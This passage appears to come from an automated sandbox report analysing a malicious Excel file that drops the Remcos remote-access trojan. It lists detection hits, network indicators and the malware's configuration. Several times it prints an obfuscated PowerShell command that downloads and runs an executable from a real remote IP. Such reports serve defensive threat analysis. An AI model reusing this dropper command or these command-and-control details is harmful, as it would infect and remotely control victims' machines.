iEx($(iEx('[SYstem.teXT.EnCoDInG]'+[chaR]0x3A+[cHAR]0X3a+'utf8.getStriNG([SySTEm.COnvERt]'+[cHaR]58+[CHar]0X3a+'fROMbaSE64StRIng('+[cHAr]34+'JHpBWlhKTXJMICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTUJlUmRFZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtb24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdrYSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpEYnpheWJLY0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEdXpsV3FiV2hYQyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRCIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTXJYZHNvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkekFaWEpNckw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNTUvVDAyMDdXL2NzcnNzLmV4ZSIsIiRlblY6QVBQREFUQVxpZ2NjdS5leGUiLDAsMCk7c3RhUnQtU0xlRXAoMyk7c1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcaWdjY3UuZXhlIg=='+[chaR]34+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 2196, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nsccvpb0\nsccvpb0.cmdline", ProcessId: 3128, ProcessName: csc.exe
              Sigma detected: Excel Network Connections
              Source: Network ConnectionAuthor: Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0", Tim Shelton: Data: DestinationIp: 192.185.89.92, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, Initiated: true, ProcessId: 1252, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49161
              Sigma detected: Potential Binary Or Script Dropper Via PowerShell
              Source: File createdAuthor: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 2196, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\csrss[1].exe
              Sigma detected: Suspicious Office Outbound Connections
              Source: Network ConnectionAuthor: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.2.22, DestinationIsIpv6: false, DestinationPort: 49161, EventID: 3, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, Initiated: true, ProcessId: 1252, Protocol: tcp, SourceIp: 192.185.89.92, SourceIsIpv6: false, SourcePort: 80
              Sigma detected: Dynamic CSharp Compile Artefact
              Source: File createdAuthor: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 2196, TargetFilename: C:\Users\user\AppData\Local\Temp\nsccvpb0\nsccvpb0.cmdline
              Sigma detected: Modification of IE Registry Settings
              Source: Registry Key setAuthor: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ProcessId: 1252, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings
              Sigma detected: Non Interactive PowerShell Process Spawned
              Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: POWeRshElL -EX Bypass -nOP -w 1 -c DeVicECREDENtiAldePLoymeNT ; iEx($(iEx('[SYstem.teXT.EnCoDInG]'+[chaR]0x3A+[cHAR]0X3a+'utf8.getStriNG([SySTEm.COnvERt]'+[cHaR]58+[CHar]0X3a+'fROMbaSE64StRIng('+[cHAr]34+'JHpBWlhKTXJMICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTUJlUmRFZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtb24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdrYSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpEYnpheWJLY0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEdXpsV3FiV2hYQyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRCIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTXJYZHNvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkekFaWEpNckw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNTUvVDAyMDdXL2NzcnNzLmV4ZSIsIiRlblY6QVBQREFUQVxpZ2NjdS5leGUiLDAsMCk7c3RhUnQtU0xlRXAoMyk7c1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcaWdjY3UuZXhlIg=='+[chaR]34+'))')))", CommandLine: POWeRshElL -EX Bypass -nOP -w 1 -c DeVicECREDENtiAldePLoymeNT ; iEx($(iEx('[SYstem.teXT.EnCoDInG]'+[chaR]0x3A+[cHAR]0X3a+'utf8.getStriNG([SySTEm.COnvERt]'+[cHaR]58+[CHar]0X3a+'fROMbaSE64StRIng('+[cHAr]34+'JHpBWlhKTXJMICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTUJlUmRFZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtb24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdrYSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpEYnpheWJLY0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEdXpsV3FiV2hYQyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRCIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTXJYZHNvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkekFaWEpNckw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNTUvVDAyMDdXL2NzcnNzLmV4ZSIsIiRlblY6QVBQREFUQVxpZ2NjdS5leGUiLDAsMCk7c3RhUnQtU0xlRXAoMyk7c1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgI
              Sigma detected: PowerShell Script Dropped Via PowerShell.EXE
              Source: File createdAuthor: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 2196, TargetFilename: C:\Users\user\AppData\Local\Temp\a2uw2xvw.nyi.ps1

              Data Obfuscation

              barindex
              Sigma detected: Dot net compiler compiles file from suspicious location
              Source: Process startedAuthor: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nsccvpb0\nsccvpb0.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nsccvpb0\nsccvpb0.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: POWeRshElL -EX Bypass -nOP -w 1 -c DeVicECREDENtiAldePLoymeNT ; iEx($(iEx('[SYstem.teXT.EnCoDInG]'+[chaR]0x3A+[cHAR]0X3a+'utf8.getStriNG([SySTEm.COnvERt]'+[cHaR]58+[CHar]0X3a+'fROMbaSE64StRIng('+[cHAr]34+'JHpBWlhKTXJMICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTUJlUmRFZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtb24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdrYSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpEYnpheWJLY0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEdXpsV3FiV2hYQyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRCIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTXJYZHNvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkekFaWEpNckw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNTUvVDAyMDdXL2NzcnNzLmV4ZSIsIiRlblY6QVBQREFUQVxpZ2NjdS5leGUiLDAsMCk7c3RhUnQtU0xlRXAoMyk7c1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcaWdjY3UuZXhlIg=='+[chaR]34+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 2196, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nsccvpb0\nsccvpb0.cmdline", ProcessId: 3128, ProcessName: csc.exe

              Snort Signatures

              Timestamp:07/03/24-18:06:27.501766
              SID:2024449
              Source Port:49164
              Destination Port:80
              Protocol:TCP
              Classtype:Attempted User Privilege Gain
              Timestamp:07/03/24-18:06:25.953326
              SID:2024449
              Source Port:49162
              Destination Port:80
              Protocol:TCP
              Classtype:Attempted User Privilege Gain

              Joe Sandbox Signatures

              Click to jump to signature section

              Show All Signature Results

              AV Detection

              barindex
              Antivirus detection for URL or domain
              Source: bossnacarpet.comAvira URL Cloud: Label: malware
              Source: http://172.245.135.155/T0207W/csrss.exeAvira URL Cloud: Label: malware
              Source: http://172.245.135.155/xampp/eg/IEnetCache.htaAvira URL Cloud: Label: malware
              Found malware configuration
              Source: 0000001B.00000002.471431780.00000000008F5000.00000004.00000020.00020000.00000000.sdmpMalware Configuration Extractor: Remcos {"Host:Port:Password": "bossnacarpet.com:2556:1vegetachcnc.com:2556:1", "Assigned name": "2556", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "chrome-6W1HCC", "Keylog flag": "0", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}
              Multi AV Scanner detection for submitted file
              Source: Quotation.xlsReversingLabs: Detection: 28%
              Yara detected Remcos RAT
              Source: Yara matchFile source: 14.2.csc.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 13.2.ngen.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 27.2.iexplore.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 15.2.wab.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.csc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.igccu.exe.128651a8.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 13.2.ngen.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.igccu.exe.128dddf0.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 27.2.iexplore.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.igccu.exe.128dddf0.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 15.2.wab.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.igccu.exe.128651a8.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.igccu.exe.12798770.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0000001B.00000002.471431780.00000000008F5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000D.00000002.819744997.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000002.819788954.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000002.820272317.0000000000835000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.455992808.00000000125FF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: igccu.exe PID: 3244, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: ngen.exe PID: 3340, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: csc.exe PID: 3352, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: wab.exe PID: 3360, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: iexplore.exe PID: 3884, type: MEMORYSTR
              Machine Learning detection for sample
              Source: Quotation.xlsJoe Sandbox ML: detected
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_00433837 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,15_2_00433837
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_00433837 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,27_2_00433837
              Source: igccu.exe, 0000000A.00000002.455992808.00000000125FF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: -----BEGIN PUBLIC KEY-----memstr_ce57f6c1-1

              Exploits

              barindex
              Yara detected UAC Bypass using CMSTP
              Source: Yara matchFile source: 14.2.csc.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 13.2.ngen.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 27.2.iexplore.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 15.2.wab.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.csc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.igccu.exe.128651a8.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 13.2.ngen.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.igccu.exe.128dddf0.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 27.2.iexplore.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.igccu.exe.128dddf0.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 15.2.wab.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.igccu.exe.128651a8.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.igccu.exe.12798770.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0000000D.00000002.819744997.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000002.819788954.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.454343233.0000000002660000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.455992808.00000000125FF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000019.00000002.492194886.00000000022EF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: igccu.exe PID: 3244, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: ngen.exe PID: 3340, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: csc.exe PID: 3352, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: wab.exe PID: 3360, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: igccu.exe PID: 3836, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: iexplore.exe PID: 3884, type: MEMORYSTR

              Privilege Escalation

              barindex
              Contains functionality to bypass UAC (CMSTPLUA)
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_004074FD _wcslen,CoGetObject,15_2_004074FD
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_004074FD _wcslen,CoGetObject,27_2_004074FD

              Phishing

              barindex
              Yara detected obfuscated html page
              Source: Yara matchFile source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\IEnetCache[1].hta, type: DROPPED
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
              Source: Binary string: R5C:\Users\user\AppData\Roaming\igccu.PDB source: igccu.exe, 00000019.00000002.491692017.0000000000202000.00000004.00000010.00020000.00000000.sdmp
              Source: Binary string: 7C:\Users\user\AppData\Local\Temp\czjog1ic\czjog1ic.pdbhPN source: powershell.exe, 00000016.00000002.468874480.0000000002722000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: :\Windows\mscorlib.pdbpdblib.pdbI source: igccu.exe, 00000019.00000002.494114228.000000001B4C4000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: .pdbm@ source: powershell.exe, 00000016.00000002.472896724.000000001AD88000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: 7C:\Users\user\AppData\Local\Temp\czjog1ic\czjog1ic.pdb source: powershell.exe, 00000016.00000002.468874480.0000000002722000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: C:\Users\user\AppData\Roaming\igccu.PDB source: igccu.exe, 00000019.00000002.491692017.0000000000202000.00000004.00000010.00020000.00000000.sdmp
              Source: Binary string: 7C:\Users\user\AppData\Local\Temp\nsccvpb0\nsccvpb0.pdb source: powershell.exe, 00000006.00000002.425125733.0000000002FD3000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: .pdb' source: powershell.exe, 00000006.00000002.429063376.000000001C433000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: v[m\ries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb source: igccu.exe, 00000019.00000002.491778313.00000000003E9000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: :\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb source: igccu.exe, 00000019.00000002.491778313.000000000038B000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: 7C:\Users\user\AppData\Local\Temp\nsccvpb0\nsccvpb0.pdbhPN source: powershell.exe, 00000006.00000002.425125733.0000000002FD3000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: :\Windows\Microsoft.VisualBasic.pdbpdbsic.pdb source: igccu.exe, 00000019.00000002.491778313.000000000038B000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: 2wigccu.PDB source: igccu.exe, 00000019.00000002.491692017.0000000000202000.00000004.00000010.00020000.00000000.sdmp
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_00409253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,15_2_00409253
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0041C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,15_2_0041C291
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0040C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,15_2_0040C34D
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_00409665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,15_2_00409665
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0044E879 FindFirstFileExA,15_2_0044E879
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0040880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,15_2_0040880C
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0040783C FindFirstFileW,FindNextFileW,15_2_0040783C
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_00419AF5 FindFirstFileW,FindNextFileW,FindNextFileW,15_2_00419AF5
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0040BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,15_2_0040BB30
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0040BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,15_2_0040BD37
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_00409253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,27_2_00409253
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_0041C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,27_2_0041C291
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_0040C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,27_2_0040C34D
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_00409665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,27_2_00409665
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_0044E879 FindFirstFileExA,27_2_0044E879
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_0040880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,27_2_0040880C
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_0040783C FindFirstFileW,FindNextFileW,27_2_0040783C
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_00419AF5 FindFirstFileW,FindNextFileW,FindNextFileW,27_2_00419AF5
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_0040BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,27_2_0040BB30
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_0040BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,27_2_0040BD37
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_00407C97 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,15_2_00407C97

              Software Vulnerabilities

              barindex
              Document exploit detected (process start blacklist hit)
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\mshta.exe
              Source: global trafficDNS query: name: hop.fyi
              Source: global trafficDNS query: name: hop.fyi
              Source: global trafficDNS query: name: bossnacarpet.com
              Source: global trafficDNS query: name: vegetachcnc.com
              Source: global trafficDNS query: name: geoplugin.net
              Source: global trafficDNS query: name: hop.fyi
              Source: global trafficTCP traffic: 192.168.2.22:49161 -> 192.185.89.92:80
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.185.89.92:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 178.237.33.50:80
              Source: global trafficTCP traffic: 192.168.2.22:49171 -> 192.185.89.92:80
              Source: global trafficTCP traffic: 192.168.2.22:49174 -> 192.185.89.92:80
              Source: global trafficTCP traffic: 192.168.2.22:49161 -> 192.185.89.92:80
              Source: global trafficTCP traffic: 192.185.89.92:80 -> 192.168.2.22:49161
              Source: global trafficTCP traffic: 192.168.2.22:49161 -> 192.185.89.92:80
              Source: global trafficTCP traffic: 192.168.2.22:49161 -> 192.185.89.92:80
              Source: global trafficTCP traffic: 192.185.89.92:80 -> 192.168.2.22:49161
